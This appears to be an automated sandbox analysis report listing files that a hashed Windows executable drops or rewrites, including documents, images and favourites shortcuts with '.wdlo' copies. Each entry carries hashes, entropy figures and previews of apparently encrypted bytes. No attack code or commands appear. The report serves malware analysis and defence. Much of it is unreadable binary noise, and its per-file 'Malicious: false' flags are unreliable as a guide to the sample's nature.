Preview:	QCFWY......3h;/W.U....TJ$.Y..M..L..G.L...0....."....?,k...........4s..U1J....9).b..}Vw.c...E.....xk.k..,.. ,.?..[...R../..t.Z.\|.V[......m.+.-......\|.9..}z...M..7.@.4..G......F$...T...<R..~]...`.swi.L.}L.#.._.`...B..q..X....... .9.{........F.%.@....iG\|}..:.$........^.(D..K.'.....k...hQi.0)ZF:. .....M.W.(...G.F..c"......8......rY;TMU.O,..Ku.:4&X.6....r..[.....{.{ ....xWW....Q..4Ur.(.q....<;rM"....a..?.._..fR....>.....n.\..l`mM....G.U..f.4.:D.7..F8....fZ.....Y.{..)H$.a.............BA.JtV<.`.D.c.)..4..CY....!....}.}Jo.v.QB..pG....u..b.:.-.q-..9.uP. N...I..:D..@...N.xp... ...HS.)..A...Y.A.A2.I..,....)....G...R. .}/#.^1uW$G..`SV....F....Ng.dE..8.=#X..@..V..i...w...>..J.R.%....... ....3.zkP.WR..m..^....v0..\|...7..m...R..rJ9.8..r..u;..;U%J....ta...eaa ....2.\..5.H.n.SA..p..zP..b.4x.r9...Y@=..b.s...=%.?...'..y....e5....>t9).K.0.....d.7...........6.#>....5o3;...=........<Aa.'j.'[.U..:...;.).....lD....x.e*.YR..m......0.-s..\c....:QQ.u......L

C:\Users\user\Downloads\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830562626871445
Encrypted:	false
SSDEEP:	24:jMyQL6zhnuLFrAL3o6GaS9wUQa73OADqhaYG1xWvlaOWAV3zbD:jMfLSuLFkz5XS9hshax8Nb3nD
MD5:	75689DFB71A1C1D63C2E6F62D7CC4D33
SHA1:	C79856FAA7C095E0A6A3AF8C62F8C759997105D9
SHA-256:	8FEBB93525580A96EFB483747FC48D18B1273990F71A3B3AC9BD4A290445869F
SHA-512:	45BB8A1D4EFD219379EBA2C6A5BE5895D5659A583BF441D672B23D458F473E6D3E079EF5094F77221FF0EAE6CEDB763B82CE739919271F8DCAA8DC0298867D78
Malicious:	false
Preview:	SFPUSI......Tu..A.C...j-..6.......nY.X.........>~.X,.7'.F...ra4Py_du)..o....-....@.+..f;....h.A......}.R..q.3b.a...g......Vs.S....PI.G9.H...........7>C.gR`...dg.3{..].\.....B...w.C.qsA..d!.."..\.#f.~....c.$.b5...d}@,]c......R...u.%.VN...E.dOY..@`.T....m..~.n.g...g.....}..t....-..?.}.=.G.PGv`....=J...j..h~.L\Gd0...Qt..?...........,!...V.u&Y..tW......D.;?7FP.&..A..y$.....i...-..b....x2.P.9g..).J..\....e7.&.......s..h.OU.....T.>...U\2..XX<....F..t..F.b4.US..[S;..~.P...o...'A....d....u..6h(.. ....{......I.;...6.LPI.tu~a.........%Xqj./.A.>...4..oB.o..V...J..B.p^..CN..S{.....<.H...rwG.....d..XE5.b".l...O.....-l6].32r..j...!A4.z.T~.JP.[\.....ga...EC}...\|!.G....3....fk7.7..:..9-...e0...Z..&..CL.5....}u......L...x....o..<.].....\|...U.:d...\|5+n.+.....X....hoR..o..4H.+.%."r..\|..-C....VEm.A..X;E.cI.j...$"..S..pcS..rN.so.'A~.V......4...9.....A..Fp.Et..n0...V...:...........<e...p.z.eF.....gu.zS.1B.4.C....#=\|...%eh.2...<[...q..?Y..mG).."vE..~O.u..

C:\Users\user\Downloads\SFPUSAFIOL.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830562626871445
Encrypted:	false
SSDEEP:	24:jMyQL6zhnuLFrAL3o6GaS9wUQa73OADqhaYG1xWvlaOWAV3zbD:jMfLSuLFkz5XS9hshax8Nb3nD
MD5:	75689DFB71A1C1D63C2E6F62D7CC4D33
SHA1:	C79856FAA7C095E0A6A3AF8C62F8C759997105D9
SHA-256:	8FEBB93525580A96EFB483747FC48D18B1273990F71A3B3AC9BD4A290445869F
SHA-512:	45BB8A1D4EFD219379EBA2C6A5BE5895D5659A583BF441D672B23D458F473E6D3E079EF5094F77221FF0EAE6CEDB763B82CE739919271F8DCAA8DC0298867D78
Malicious:	false
Preview:	SFPUSI......Tu..A.C...j-..6.......nY.X.........>~.X,.7'.F...ra4Py_du)..o....-....@.+..f;....h.A......}.R..q.3b.a...g......Vs.S....PI.G9.H...........7>C.gR`...dg.3{..].\.....B...w.C.qsA..d!.."..\.#f.~....c.$.b5...d}@,]c......R...u.%.VN...E.dOY..@`.T....m..~.n.g...g.....}..t....-..?.}.=.G.PGv`....=J...j..h~.L\Gd0...Qt..?...........,!...V.u&Y..tW......D.;?7FP.&..A..y$.....i...-..b....x2.P.9g..).J..\....e7.&.......s..h.OU.....T.>...U\2..XX<....F..t..F.b4.US..[S;..~.P...o...'A....d....u..6h(.. ....{......I.;...6.LPI.tu~a.........%Xqj./.A.>...4..oB.o..V...J..B.p^..CN..S{.....<.H...rwG.....d..XE5.b".l...O.....-l6].32r..j...!A4.z.T~.JP.[\.....ga...EC}...\|!.G....3....fk7.7..:..9-...e0...Z..&..CL.5....}u......L...x....o..<.].....\|...U.:d...\|5+n.+.....X....hoR..o..4H.+.%."r..\|..-C....VEm.A..X;E.cI.j...$"..S..pcS..rN.so.'A~.V......4...9.....A..Fp.Et..n0...V...:...........<e...p.z.eF.....gu.zS.1B.4.C....#=\|...%eh.2...<[...q..?Y..mG).."vE..~O.u..

C:\Users\user\Downloads\SUAVTZKNFL.png

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8440010864714855
Encrypted:	false
SSDEEP:	24:C7lCEf9T5v7tzTbdZ5cwTH9gnjxvT0K7oWywQcHPcdIVQofr3zbD:gCcNv7Fn5BgjxvItNwQgkdS3nD
MD5:	919707B9882BE6EDFF92213F8FE04129
SHA1:	C4D596C397080443BAB60161C495C76A4B7E041F
SHA-256:	675A2E4F0F95C543F1E3AFF24EEA916F49930BE6005B90330D4CD190A76C99A0
SHA-512:	2EDF7D2E47983DDD02ABAA1413B1527273DB81D9CAAF17EAAA2C1292EE6C9B9052C4BE2775B26C7B745708F322B968042997716CF18BA634FCA2712DA1D7B6BC
Malicious:	false
Preview:	SUAVT.e.c..l...G.0..io$..79.O".f...P..rW...U.n.6...[z.....Fr..4.b...........O.F.>.-..5...z......=..9......t.......=jx......_y..k9.>.._c>.z..p...\.....L..3._UT.Z..Z...u@..3..H.z..l. .K.\|. '0.>k.HB......y..z.QzV.O^cr;.k....H.t..S.i.q.G....._F[.4.o.......0......D.h@.+.....H..._....7b.3J.E....~Q.g...N.\.Jj.e...}.=.E..n-$.)@3.uq.R.......:V@@..Kj].{....c.{.......Z.{..T."{u.;..q.u....ln..ob..W....."...q..<...a....QC...&...=....x..J..5.>.......!.e...B..{4.^.."u-g..W..yNd..Q....o.9.....xV5=hM._........PI...5f{R)O....M....C?...J-.......K...U...R....U;.....s...G.In<."._.N....\m@.6..$..L..q.$.Ry..9.....,g..Q....VP...R...\|..8..Bp,#.l..4.k...#%...oVm.#~.....3BW.2..1.# #.\.(.....?k....w{2..#u...}...}.._Z.F....L.,...,f..Y.5.......Q..D.h-.\2.b........KM.!.........\|..@y5].\..S..."..../.c...Z.sV.O....'.R6...qGha-9Pw}h...d.i...?C.)f.h..GM..x3F...ueHT.$v.._F....{dZ.n...O...i.7....T......1.D..1a....cP .Z.8...A...:.k.+.@.h.C._.s..P.?...[.....R.9O$w5q..

C:\Users\user\Downloads\SUAVTZKNFL.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8440010864714855
Encrypted:	false
SSDEEP:	24:C7lCEf9T5v7tzTbdZ5cwTH9gnjxvT0K7oWywQcHPcdIVQofr3zbD:gCcNv7Fn5BgjxvItNwQgkdS3nD
MD5:	919707B9882BE6EDFF92213F8FE04129
SHA1:	C4D596C397080443BAB60161C495C76A4B7E041F
SHA-256:	675A2E4F0F95C543F1E3AFF24EEA916F49930BE6005B90330D4CD190A76C99A0
SHA-512:	2EDF7D2E47983DDD02ABAA1413B1527273DB81D9CAAF17EAAA2C1292EE6C9B9052C4BE2775B26C7B745708F322B968042997716CF18BA634FCA2712DA1D7B6BC
Malicious:	false
Preview:	SUAVT.e.c..l...G.0..io$..79.O".f...P..rW...U.n.6...[z.....Fr..4.b...........O.F.>.-..5...z......=..9......t.......=jx......_y..k9.>.._c>.z..p...\.....L..3._UT.Z..Z...u@..3..H.z..l. .K.\|. '0.>k.HB......y..z.QzV.O^cr;.k....H.t..S.i.q.G....._F[.4.o.......0......D.h@.+.....H..._....7b.3J.E....~Q.g...N.\.Jj.e...}.=.E..n-$.)@3.uq.R.......:V@@..Kj].{....c.{.......Z.{..T."{u.;..q.u....ln..ob..W....."...q..<...a....QC...&...=....x..J..5.>.......!.e...B..{4.^.."u-g..W..yNd..Q....o.9.....xV5=hM._........PI...5f{R)O....M....C?...J-.......K...U...R....U;.....s...G.In<."._.N....\m@.6..$..L..q.$.Ry..9.....,g..Q....VP...R...\|..8..Bp,#.l..4.k...#%...oVm.#~.....3BW.2..1.# #.\.(.....?k....w{2..#u...}...}.._Z.F....L.,...,f..Y.5.......Q..D.h-.\2.b........KM.!.........\|..@y5].\..S..."..../.c...Z.sV.O....'.R6...qGha-9Pw}h...d.i...?C.)f.h..GM..x3F...ueHT.$v.._F....{dZ.n...O...i.7....T......1.D..1a....cP .Z.8...A...:.k.+.@.h.C._.s..P.?...[.....R.9O$w5q..

C:\Users\user\Downloads\ZQIXMVQGAH.png

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8536774472494395
Encrypted:	false
SSDEEP:	24:dYXCHB4lWD6FaWvzY0gD5k4N2Tst3/ibOphT6hmKNehBrmxBxafi3zbD:dUCHKTF300gD5kq2ot3sGhWPNee0fi3D
MD5:	05CF7BC241A05FBEEB632D5D5AC69407
SHA1:	67B65C7CA75AE95EE3DC2D0E671385BDB2654375
SHA-256:	4CE03824584174E8DA2A7A5C3007F09B1F94D72298CED9CDF6A79C597638CED7
SHA-512:	8F8FFDF164B728FA8BD1A9D536D84E67C7BDF5B52B7568FAB2768C77C3F621EE4051613BCD41DD16EF73FB8A98584FC6A014C48564E6E3DA92243AA33336C931
Malicious:	false
Preview:	ZQIXM.Q......#l.....^=. 6....L.my....&u..[.>.o.+...>..`.:i......(.,y...z%..o...1.u_'...(..t.5%..z...."\|.e_q2..=...).K....7F.N..%.Q^F.l.Y/..k..\|..}&..bV.nym%.V.C%........c...#[.A.$9..G....`.g...{.]..c>C..\|."..b1...y..S.a...0.?.;0...J.....ijpU..~8+.........G?..%1!....x....z_........6..ro+.`[.`.....w.... ...q.tQ.>..@i....g.q..1..=.v...n3.........GaiW......AB8'\X..........}.N.(...)..io.m.b#.p.a...Z)..).r.?.....4"K..N.]...}.2k.5..87....T.qj.G....q.._l.......Z.....?r.........;.xa.1[.r.A..M......;..%.A._......:y.:9<....$b..M..<9oI..\|...FA`9....1.@.......>.@]....l....{..a(.T`....!h....R..3w\|~`M;a.l6n.SKw...R.....=x.X.P...F..Y*19..........3@a.o....5;.>......Pn..m.......<....L..w......-.x.9;L".e.....0..^..z>..^..}.fKQ...w-..6'rP...l.^.o."..0....T..^....n...r..F.....]\|Q.i.hq.A.(=.,...5.....j."......m..E&.%.C=..m..nl..(D.j.......[...nt...l.uX...(...t..d.b.......;"....S....%....I{.o..^:......i.`J...... ...:?..;....4.....$9B.C.4.Z..C...Ad.=.....

C:\Users\user\Downloads\ZQIXMVQGAH.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8536774472494395
Encrypted:	false
SSDEEP:	24:dYXCHB4lWD6FaWvzY0gD5k4N2Tst3/ibOphT6hmKNehBrmxBxafi3zbD:dUCHKTF300gD5kq2ot3sGhWPNee0fi3D
MD5:	05CF7BC241A05FBEEB632D5D5AC69407
SHA1:	67B65C7CA75AE95EE3DC2D0E671385BDB2654375
SHA-256:	4CE03824584174E8DA2A7A5C3007F09B1F94D72298CED9CDF6A79C597638CED7
SHA-512:	8F8FFDF164B728FA8BD1A9D536D84E67C7BDF5B52B7568FAB2768C77C3F621EE4051613BCD41DD16EF73FB8A98584FC6A014C48564E6E3DA92243AA33336C931
Malicious:	false
Preview:	ZQIXM.Q......#l.....^=. 6....L.my....&u..[.>.o.+...>..`.:i......(.,y...z%..o...1.u_'...(..t.5%..z...."\|.e_q2..=...).K....7F.N..%.Q^F.l.Y/..k..\|..}&..bV.nym%.V.C%........c...#[.A.$9..G....`.g...{.]..c>C..\|."..b1...y..S.a...0.?.;0...J.....ijpU..~8+.........G?..%1!....x....z_........6..ro+.`[.`.....w.... ...q.tQ.>..@i....g.q..1..=.v...n3.........GaiW......AB8'\X..........}.N.(...)..io.m.b#.p.a...Z)..).r.?.....4"K..N.]...}.2k.5..87....T.qj.G....q.._l.......Z.....?r.........;.xa.1[.r.A..M......;..%.A._......:y.:9<....$b..M..<9oI..\|...FA`9....1.@.......>.@]....l....{..a(.T`....!h....R..3w\|~`M;a.l6n.SKw...R.....=x.X.P...F..Y*19..........3@a.o....5;.>......Pn..m.......<....L..w......-.x.9;L".e.....0..^..z>..^..}.fKQ...w-..6'rP...l.^.o."..0....T..^....n...r..F.....]\|Q.i.hq.A.(=.,...5.....j."......m..E&.%.C=..m..nl..(D.j.......[...nt...l.uX...(...t..d.b.......;"....S....%....I{.o..^:......i.`J...... ...:?..;....4.....$9B.C.4.Z..C...Ad.=.....

C:\Users\user\Favorites\Amazon.url

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.466971772195795
Encrypted:	false
SSDEEP:	12:+V8eTHULmRU5Nhri8ihARshTr0iCLJ336Wcii9a:E8eToTNrfihAd1LJ3zbD
MD5:	E242FEA1B1F36EDC50A5A8245365BD21
SHA1:	79CB46A4574A8AC0EF4580FCEE3804D05D16BA88
SHA-256:	44ADFF209CB4FBFC3AA1939DAF3201B746B0F79561E19CE869FE725EF06BE29F
SHA-512:	36FA79B283CA5AD268864BDE00425972AE91E7C13798A626A7B5C2794E2819706497D49BBD3536B863214116AC1734450EC2AFDEC8FA521027434637C3BFB461
Malicious:	false
Preview:	[{000K...`%.E:`........2.%....8'e....XT..(g....D......ol+.Dt85.....yw......F@.=..B.q.).!_..EC;..H.;.-MK..^....).....F.I..0J_..q.......X....p.R]...pE..;.?k..\|L@/....b.)....{....`..u..F",.z....('.\|...O...jGD..?...GGf.E.D...]K.F..Y.r?.............VH....C..Q&.#........M-.......D...F...c..0.h.. .S..B.b..'....T.M....[.../^[A..A.=......sb..Q.....G.....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Amazon.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.466971772195795
Encrypted:	false
SSDEEP:	12:+V8eTHULmRU5Nhri8ihARshTr0iCLJ336Wcii9a:E8eToTNrfihAd1LJ3zbD
MD5:	E242FEA1B1F36EDC50A5A8245365BD21
SHA1:	79CB46A4574A8AC0EF4580FCEE3804D05D16BA88
SHA-256:	44ADFF209CB4FBFC3AA1939DAF3201B746B0F79561E19CE869FE725EF06BE29F
SHA-512:	36FA79B283CA5AD268864BDE00425972AE91E7C13798A626A7B5C2794E2819706497D49BBD3536B863214116AC1734450EC2AFDEC8FA521027434637C3BFB461
Malicious:	false
Preview:	[{000K...`%.E:`........2.%....8'e....XT..(g....D......ol+.Dt85.....yw......F@.=..B.q.).!_..EC;..H.;.-MK..^....).....F.I..0J_..q.......X....p.R]...pE..;.?k..\|L@/....b.)....{....`..u..F",.z....('.\|...O...jGD..?...GGf.E.D...]K.F..Y.r?.............VH....C..Q&.#........M-.......D...F...c..0.h.. .S..B.b..'....T.M....[.../^[A..A.=......sb..Q.....G.....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Bing.url

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.582590988971796
Encrypted:	false
SSDEEP:	12:RZ5Rye4pAT9rDYgJbdvUmfg1HY7edKbbcZ5PE/TD36Wcii9a:RZ5R93EQbdtfg1HYKGQZ5PY3zbD
MD5:	0DCDCFDACEB8EC053F7005C39A80F827
SHA1:	890372E7F95C70C0194BBC8C605A6EB8257D7751
SHA-256:	947ED111AC3D2F1A0A3364B263022299AD5D8AE66CD63C6C551B926EB463F39E
SHA-512:	A339A90533BAAF9BBBBF27C2767E107757A0528BFC131A700B62B0B42BFD5B2EA87D53F705D7953A63CB2690C9808B41D5E4A5F2F73B4A77C8D582FDAF046CE8
Malicious:	false
Preview:	[{000ns.Z`.... .jM.. ..^,.C......I/..==.\|]+.../6....$P.3....A.h.....^..0...v..LHj}..@....@c.\|..3d..~zZ.F..^....$...M..........l..G..5..8.A....C4....S_bh.}.C..6.V..0++s..&....k..g.\".:&Q.....I9..<k......7.i4.Z.._..=...\.o.m..S............2z.+..S.3\..~dr.H..D.G.@.U0....Q..].B.....\....s..f...!.W..^u..%3W/4XA...i.,...gA'.Q<.E...]#P.t....v.0.>.@.X.d&............&..c...Q..<.XG..O(...G...6....[.D\|.....=[....n.Qe=..m.......hj..w...z'..#..N....(i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Bing.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.582590988971796
Encrypted:	false
SSDEEP:	12:RZ5Rye4pAT9rDYgJbdvUmfg1HY7edKbbcZ5PE/TD36Wcii9a:RZ5R93EQbdtfg1HYKGQZ5PY3zbD
MD5:	0DCDCFDACEB8EC053F7005C39A80F827
SHA1:	890372E7F95C70C0194BBC8C605A6EB8257D7751
SHA-256:	947ED111AC3D2F1A0A3364B263022299AD5D8AE66CD63C6C551B926EB463F39E
SHA-512:	A339A90533BAAF9BBBBF27C2767E107757A0528BFC131A700B62B0B42BFD5B2EA87D53F705D7953A63CB2690C9808B41D5E4A5F2F73B4A77C8D582FDAF046CE8
Malicious:	false
Preview:	[{000ns.Z`.... .jM.. ..^,.C......I/..==.\|]+.../6....$P.3....A.h.....^..0...v..LHj}..@....@c.\|..3d..~zZ.F..^....$...M..........l..G..5..8.A....C4....S_bh.}.C..6.V..0++s..&....k..g.\".:&Q.....I9..<k......7.i4.Z.._..=...\.o.m..S............2z.+..S.3\..~dr.H..D.G.@.U0....Q..].B.....\....s..f...!.W..^u..%3W/4XA...i.,...gA'.Q<.E...]#P.t....v.0.>.@.X.d&............&..c...Q..<.XG..O(...G...6....[.D\|.....=[....n.Qe=..m.......hj..w...z'..#..N....(i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.440196509373875
Encrypted:	false
SSDEEP:	12:3XEIcmgvk9eX/BcMWBMr1ZLj/kWVKp/P36Wcii9a:tctJccr11j/WBP3zbD
MD5:	5473635E92D4BDD894A412FDE530E880
SHA1:	692678CD81A3A65884C3BB861D02F6F381E9EC56
SHA-256:	EAAAE3B76F55DAD0869E51453E2651C0DE6256139C081180A42427304C27EBBF
SHA-512:	61AEA3034B644E90C2247ED276FE4290B90DFE54749E3EA21ABBF7F1759E745499B32CE5274275FB0FA7E785F8DF780766FE4B9152769CB455497CC35C6CE10B
Malicious:	false
Preview:	[{000E>S<.......P]...G.....+...e.J.u7...Y.....M....d..C..h..v.#Ss.v..y.d.....O..........[........Ls......\|.t....9.P..9&.R._..CU/....4.}..?bk....=..]...k..)..U...h..].....:......O..Q.v.l.:.yXdd_..O.Y..].Xf...)... .c@.0Z.....;..8..\h......+..5..\.g.@.....6_...y....+..p.ua.[..g...q$.}E...H....5.%.G%.8.7.....M..i.AJ....bvK.....{[C...._W......IJi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.440196509373875
Encrypted:	false
SSDEEP:	12:3XEIcmgvk9eX/BcMWBMr1ZLj/kWVKp/P36Wcii9a:tctJccr11j/WBP3zbD
MD5:	5473635E92D4BDD894A412FDE530E880
SHA1:	692678CD81A3A65884C3BB861D02F6F381E9EC56
SHA-256:	EAAAE3B76F55DAD0869E51453E2651C0DE6256139C081180A42427304C27EBBF
SHA-512:	61AEA3034B644E90C2247ED276FE4290B90DFE54749E3EA21ABBF7F1759E745499B32CE5274275FB0FA7E785F8DF780766FE4B9152769CB455497CC35C6CE10B
Malicious:	false
Preview:	[{000E>S<.......P]...G.....+...e.J.u7...Y.....M....d..C..h..v.#Ss.v..y.d.....O..........[........Ls......\|.t....9.P..9&.R._..CU/....4.}..?bk....=..]...k..)..U...h..].....:......O..Q.v.l.:.yXdd_..O.Y..].Xf...)... .c@.0Z.....;..8..\h......+..5..\.g.@.....6_...y....+..p.ua.[..g...q$.}E...H....5.%.G%.8.7.....M..i.AJ....bvK.....{[C...._W......IJi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Google.url

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.4792682487321
Encrypted:	false
SSDEEP:	12:cfKej1hog4+BKPYQdrTtMFitXSp6zqzgv36Wcii9a:cfKYwYBKgQdrxCp6GzO3zbD
MD5:	65869403F0F60EA55B37805104E6DE83
SHA1:	E6FB3B0D47D63B232E4233876BD338EE40CF7776
SHA-256:	947CADE194FD1CC99FF314D475799B46424EAAB72AA559441885D2B40D55AEE4
SHA-512:	F15C0585E3C9D8B10779614B299A9229D34BE77D472B57F6D95F939C574A58A352633DFA2401B528D0269139DAF2A574DFBB32897E5B8B051C6A89BE436AA6B3
Malicious:	false
Preview:	[{000..a.h.p..[j.Ue.?V\./.&.#X.T..M.D...T.....b.X..@W..HE.. L...4......b.d....K.."..08..R..re..M...L.....1.^}.r.4.....,n,.w..c!...:u.q.."..K9..."/.iKS.$.B....Z^>.\......1.a..y.,u......Z.2..m....jr.V..H/.#._.H.....a.c$.oE.\|g....qz. ..Vig.%...&\......[^..G..N..y.SN..[O...6..5...Q.wg).`z...lM....k...z..D..u..N.<.(..u...o.I..g.Q.0..P........Q..eND.Uk.<.,i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Google.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.4792682487321
Encrypted:	false
SSDEEP:	12:cfKej1hog4+BKPYQdrTtMFitXSp6zqzgv36Wcii9a:cfKYwYBKgQdrxCp6GzO3zbD
MD5:	65869403F0F60EA55B37805104E6DE83
SHA1:	E6FB3B0D47D63B232E4233876BD338EE40CF7776
SHA-256:	947CADE194FD1CC99FF314D475799B46424EAAB72AA559441885D2B40D55AEE4
SHA-512:	F15C0585E3C9D8B10779614B299A9229D34BE77D472B57F6D95F939C574A58A352633DFA2401B528D0269139DAF2A574DFBB32897E5B8B051C6A89BE436AA6B3
Malicious:	false
Preview:	[{000..a.h.p..[j.Ue.?V\./.&.#X.T..M.D...T.....b.X..@W..HE.. L...4......b.d....K.."..08..R..re..M...L.....1.^}.r.4.....,n,.w..c!...:u.q.."..K9..."/.iKS.$.B....Z^>.\......1.a..y.,u......Z.2..m....jr.V..H/.#._.H.....a.c$.oE.\|g....qz. ..Vig.%...&\......[^..G..N..y.SN..[O...6..5...Q.wg).`z...lM....k...z..D..u..N.<.(..u...o.I..g.Q.0..P........Q..eND.Uk.<.,i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.408279891464674
Encrypted:	false
SSDEEP:	12:1BQV/5nEZEeHJ/fiA4w6ZXZXr0EYT1wj0oa6M936Wcii9a:16vnonniq6VZ0e0Hn3zbD
MD5:	B04B90F70021AAC3245001995457C65C
SHA1:	BA49477796B323C3E1801D23BA0AF100F4922B7B
SHA-256:	719D26B0CDEE953ED2EFE78FD59F9896A1E89DF2F2BD9F87780A08E8B5355942
SHA-512:	99C6815D833F5837FC80CC3F521A5D42BD3C7E6C60004595F276D21C45A632FFC4857D0B65E583B952730ACC3CAA5A1D51BB3D3F7228AE33FA3A3A6DCF97BBBB
Malicious:	false
Preview:	[{0003.F../o...+@.7...m3...]..(pz.....hoj.)1O...U.5g.G.g..KF@#..Km.+O..t.TS.4..ET ..:....<...y[U........R.p.."..F3.`...... ...r#2....[B...AX..T.?...l.L...#=...*.[1a`.v.j.0".jI...H.n ......y.{..-.\.p..d2.4;...A..rjY<HD....W\|3i... ...z....?.E.5.#f3........6....{..b`]G$.kn..L!...9loj........N Z..&U.A..w?..G.)..%..p..2.msn.l.K@.]..a.../...Fh.p..3jC$_..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.408279891464674
Encrypted:	false
SSDEEP:	12:1BQV/5nEZEeHJ/fiA4w6ZXZXr0EYT1wj0oa6M936Wcii9a:16vnonniq6VZ0e0Hn3zbD
MD5:	B04B90F70021AAC3245001995457C65C
SHA1:	BA49477796B323C3E1801D23BA0AF100F4922B7B
SHA-256:	719D26B0CDEE953ED2EFE78FD59F9896A1E89DF2F2BD9F87780A08E8B5355942
SHA-512:	99C6815D833F5837FC80CC3F521A5D42BD3C7E6C60004595F276D21C45A632FFC4857D0B65E583B952730ACC3CAA5A1D51BB3D3F7228AE33FA3A3A6DCF97BBBB
Malicious:	false
Preview:	[{0003.F../o...+@.7...m3...]..(pz.....hoj.)1O...U.5g.G.g..KF@#..Km.+O..t.TS.4..ET ..:....<...y[U........R.p.."..F3.`...... ...r#2....[B...AX..T.?...l.L...#=...*.[1a`.v.j.0".jI...H.n ......y.{..-.\.p..d2.4;...A..rjY<HD....W\|3i... ...z....?.E.5.#f3........6....{..b`]G$.kn..L!...9loj........N Z..&U.A..w?..G.)..%..p..2.msn.l.K@.]..a.../...Fh.p..3jC$_..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.469766184998918
Encrypted:	false
SSDEEP:	12:uVOo2uJBMOKB1CU/RlZtOtcz3esmhD36Wcii9a:WOoBS+SRJsoOxD3zbD
MD5:	748A4B4703EA74EB4093DB12370992BD
SHA1:	E385EEE85B01EF38380CB260E3AD98CD6342139B
SHA-256:	35E2D9A8CB2F48F6BB642A25598856F4AF53E0220B2B331D1DC11205C822554D
